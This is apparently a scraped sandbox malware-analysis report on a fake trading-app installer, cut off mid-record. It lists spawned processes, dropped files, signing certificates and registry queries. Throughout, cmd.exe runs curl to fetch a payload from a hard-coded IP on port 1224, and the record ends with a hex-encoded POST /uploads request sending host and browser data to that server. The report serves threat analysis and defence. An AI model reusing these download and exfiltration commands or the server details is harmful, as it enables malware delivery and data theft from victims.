00000000-00005732), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00007040), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00001928), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00004332), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00007932), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00003456), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00004292), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00008132), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00007720), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00001468), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00001392)46:Tdaa,Spawned process "trading-app.exe" (UID: 00000000-00006124) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00001708) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00006724) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00007064) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --mojo-platform-channel-handle= ..." (UID: 00000000-00004288) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --app-path="%TEMP%\\2wnUXCqaFfb ..." (UID: 00000000-00002908), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00007736), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00000712), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00002088), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00000576), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00006964), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00004580), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00001632), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00004516), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00005732), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00007040), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00001928), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00004332), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00007932), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00003456), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00004292), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00008132), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00007720), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00001468), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00001392)47:T40a,The input sample is signed with a certificate issued by "CN=R11, O=Let's Encrypt, C=US" (SHA1: CA:1B:73:7D:9E:7C:7D:87:8C:88:09:15:52:E2:16:13:F8:5A:9D:7A; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 69:6D:B3:AF:0D:FF:C1:7E:65:C6:A2:0D:92:5C:5A:7B:D2:4D:EC:7E; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 9D:F5:E6:1B:14:EA:7B:57:95:08:63:BA:BA:3A:A3:5B:C4:B6:75:38; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)48:Tb73,"trading-app.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows 15 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\trading-app.exe]- [targetUID: 00000000-00004416] "libGLESv2.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 11 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\libGLESv2.dll]- [targetUID: 00000000-00004416] "vk_swiftshader.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 11 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\vk_swiftshader.dll]- [targetUID: 00000000-00004416] "ffmpeg.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 10 sections"- Location: [%TEMP%\2wnUXCqaFfb8gqhsxoVwiS2JQj1\ffmpeg.dll]- [targetUID: 00000000-00007064] "vulkan-1.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 11 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\vulkan-1.dll]- [targetUID: 00000000-00004416] "libEGL.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 11 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\libEGL.dll]- [targetUID: 00000000-00004416] "nsis7z.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%TEMP%\nse95AF.tmp\nsis7z.dll]- [targetUID: 00000000-00004416] "elevate.exe" has type "PE32 executable (console) Intel 80386 for MS Windows 6 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\resources\elevate.exe]- [targetUID: 00000000-00004416] "StdUtils.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 5 sections"- Location: [%TEMP%\nse95AF.tmp\StdUtils.dll]- [targetUID: 00000000-00004416] "System.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%TEMP%\nse95AF.tmp\System.dll]- [targetUID: 00000000-00004416] "LICENSES.chromium.html" has type "HTML document text HTML document ASCII text"- Location: [%TEMP%\nse95AF.tmp\7z-out\LICENSES.chromium.html]- [targetUID: 00000000-00004416] "app-64.7z" has type "7-zip archive data version 0.4"- Location: [%TEMP%\nse95AF.tmp\app-64.7z]- [targetUID: 00000000-00004416] "LICENSE.electron.txt" has type "ASCII text"- Location: [%TEMP%\2wnUXCqaFfb8gqhsxoVwiS2JQj1\LICENSE.electron.txt]- [targetUID: 00000000-00004416] "37ca5c11-b157-42d7-ad9d-f305801e2b83.tmp" has type "JSON text data"- Location: [%APPDATA%\trading-super-deriv\37ca5c11-b157-42d7-ad9d-f305801e2b83.tmp]- [targetUID: 00000000-00006124] "06c22772-9d60-496b-91b1-de9664bf0a0e.tmp" has type "JSON text data"- Location: [%APPDATA%\trading-super-deriv\Network\06c22772-9d60-496b-91b1-de9664bf0a0e.tmp]- [targetUID: 00000000-00004288] "5998fd2f-1e17-4440-8ebb-abea01e3a6b1.tmp" has type "JSON text data"- Location: [%APPDATA%\trading-super-deriv\5998fd2f-1e17-4440-8ebb-abea01e3a6b1.tmp]- [targetUID: 00000000-00006124] "000001.dbtmp" has type "ASCII text"- Location: [%APPDATA%\trading-super-deriv\Local Storage\leveldb\000001.dbtmp]- [targetUID: 00000000-00006124]49:Ta0e,"trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}\PROPERTIES"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}\"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}\"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\TREATAS"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\TREATAS"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCSERVER32"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCSERVER32"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCHANDLER32"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCHANDLER32"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCHANDLER"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCHANDLER"; Key: ""; Value: "")4a:Tf2e,"trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}"; Key: "DATA"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}"; Key: "GENERATION"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "DATA"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "GENERATION"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}"; Key: ""; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATIONTYPE"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "SERVER"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "DLLPATH"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "THREADING"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "TRUSTLEVEL"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "REMOTESERVER"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEASUSER"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEINSHAREDBROKER"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "PERMISSIONS"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXEPATH"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "COMMANDLINE"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITYTYPE"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "PERMISSIONS"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "ACTIVATABLECLASSES"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVERTYPE"; Value: "")4b:Tb22,"trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\FLTLIB.DLL" "trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nse95AF.tmp\SYSTEM.DLL" "trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nse95AF.tmp\System.dll" "trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nse95AF.tmp\NSIS7Z.DLL" "trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nse95AF.tmp\nsis7z.dll" "trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nse95AF.tmp\STDUTILS.DLL" "trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nse95AF.tmp\StdUtils.dll" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\DBGHELP.DLL" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\WINMM.DLL" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\IPHLPAPI.DLL" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\USERENV.DLL" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\VERSION.DLL" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\DWRITE.DLL" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\SECUR32.DLL" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\WINHTTP.DLL" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\DHCPCSVC.DLL" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\WINMMBASE.DLL" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\BCRYPT.DLL" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\SSPICLI.DLL"4c:T97c,"trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\TRADING-APP-WINDOWS-1.0.0.EXE.LOCAL" "trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2WNUXCQAFFB8GQHSXOVWIS2JQJ1" "trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nse95AF.tmp\APP-64.7Z" "trading-app-Windows-1.0.0.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nse95AF.tmp\app-64.7z" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\WINSPOOL.DRV" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\resources\NODE_MODULES" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\TRADING-SUPER-DERIV" "trading-app.exe" trying to access non-existent file "C:\Users\hjAZtHS\AppData\Roaming\trading-super-deriv" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\LOCAL STATE" "trading-app.exe" trying to access non-existent file "C:\Users\hjAZtHS\AppData\Roaming\trading-super-deriv\Local State" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\TRADING-APP.EXE.LOCAL" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe.Local\" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\PREFERENCES" "trading-app.exe" trying to access non-existent file "C:\Users\hjAZtHS\AppData\Roaming\trading-super-deriv\Preferences" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\LOCAL STORAGE" "trading-app.exe" trying to access non-existent file "C:\Users\hjAZtHS\AppData\Roaming\trading-super-deriv\Local Storage" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\Local Storage\leveldb\LOG" "trading-app.exe" trying to access non-existent file "C:\Users\hjAZtHS\AppData\Roaming\trading-super-deriv\Local Storage\leveldb\LOG" "trading-app.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\Local Storage\leveldb\CURRENT"4d:T8032,Found string "POST /uploads HTTP/1.1host: 144.172.95.226:1224content-type: multipart/form-data; boundary=--------------------------635886541481731920057384content-length: 120198Connection: close2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:36:33:35:38:38:36:35:34:31:34:38:31:37:33:31:39:32:30:30:35:37:33:38:34:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:74:79:70:65:22:0d:0a:0d:0a:33:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:36:33:35:38:38:36:35:34:31:34:38:31:37:33:31:39:32:30:30:35:37:33:38:34:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:68:69:64:22:0d:0a:0d:0a:31:30:32:5f:44:45:53:4b:54:4f:50:2d:46:56:56:46:38:32:41:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:36:33:35:38:38:36:35:34:31:34:38:31:37:33:31:39:32:30:30:35:37:33:38:34:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:75:74:73:22:0d:0a:0d:0a:31:37:34:37:38:35:36:35:39:35:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:36:33:35:38:38:36:35:34:31:34:38:31:37:33:31:39:32:30:30:35:37:33:38:34:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:6d:75:6c:74:69:5f:66:69:6c:65:22:3b:20:66:69:6c:65:6e:61:6d:65:3d:22:30:5f:6c:73:74:22:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:61:70:70:6c:69:63:61:74:69:6f:6e:2f:6f:63:74:65:74:2d:73:74:72:65:61:6d:0d:0a:0d:0a:7b:22:62:72:65:61:64:63:72:75:6d:62:73:22:3a:7b:22:65:6e:61:62:6c:65:64:22:3a:66:61:6c:73:65:2c:22:65:6e:61:62:6c:65:64:5f:74:69:6d:65:22:3a:22:31:33:33:35:34:33:38:37:37:34:31:30:37:30:35:38:33:22:7d:2c:22:62:72:6f:77:73:65:72:22:3a:7b:22:66:69:72:73:74:5f:72:75:6e:5f:66:69:6e:69:73:68:65:64:22:3a:74:72:75:65:2c:22:6c:61:73:74:5f:77:68:61:74:73:5f:6e:65:77:5f:76:65:72:73:69:6f:6e:22:3a:31:32:32:2c:22:73:68:6f:72:74:63:75:74:5f:6d:69:67:72:61:74:69:6f:6e:5f:76:65:72:73:69:6f:6e:22:3a:22:31:32:32:2e:30:2e:36:32:36:31:2e:31:31:32:22:7d:2c:22:68:61:72:64:77:61:72:65:5f:61:63:63:65:6c:65:72:61:74:69:6f:6e:5f:6d:6f:64:65:5f:70:72:65:76:69:6f:75:73:22:3a:74:72:75:65:2c:22:69:6e:74:6c:22:3a:7b:22:61:70:70:5f:6c:6f:63:61:6c:65:22:3a:22:65:6e:22:7d:2c:22:6c:65:67:61:63:79:22:3a:7b:22:70:72:6f:66:69:6c:65:22:3a:7b:22:6e:61:6d:65:22:3a:7b:22:6d:69:67:72:61:74:65:64:22:3a:74:72:75:65:7d:7d:7d:2c:22:6d:61:6e:61:67:65:6d:65:6e:74:22:3a:7b:22:70:6c:61:74:66:6f:72:6d:22:3a:7b:22:61:7a:75:72:65:5f:61:63:74:69:76:65:5f:64:69:72:65:63:74:6f:72:79:22:3a:30:2c:22:65:6e:74:65:72:70:72:69:73:65:5f:6d:64:6d:5f:77:69:6e:22:3a:30:7d:7d:2c:22:6f:70:74:69:6d:69:7a:61:74:69:6f:6e:5f:67:75:69:64:65:22:3a:7b:22:6d:6f:64:65:6c:5f:63:61:63:68:65:5f:6b:65:79:5f:6d:61:70:70:69:6e:67:22:3a:7b:22:31:33:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:31:35:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:32:30:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:32:34:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:32:35:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:32:36:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:32:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:3